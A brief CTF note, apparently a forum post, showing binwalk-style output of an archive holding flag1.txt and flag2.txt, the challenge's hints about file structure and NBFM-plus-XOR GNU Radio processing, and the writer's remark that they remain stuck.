91 0x5B Zlib compressed data, compressed
6026 0x178A Zip archive data, at least v2.0 to extract, compressed size: 176354316, uncompressed size: 194462208, name: flag1.txt
176360381 0xA830BBD Zip archive data, at least v2.0 to extract, compressed size: 177965008, uncompressed size: 194462208, name: flag2.txt
354325610 0x151E946A End of Zip archive, footer length: 22

题目给了提示

  • 请仔细研究题目附件压缩包的文件结构
  • GRC流程图是 窄带FM调制+XOR

然而还是做不出来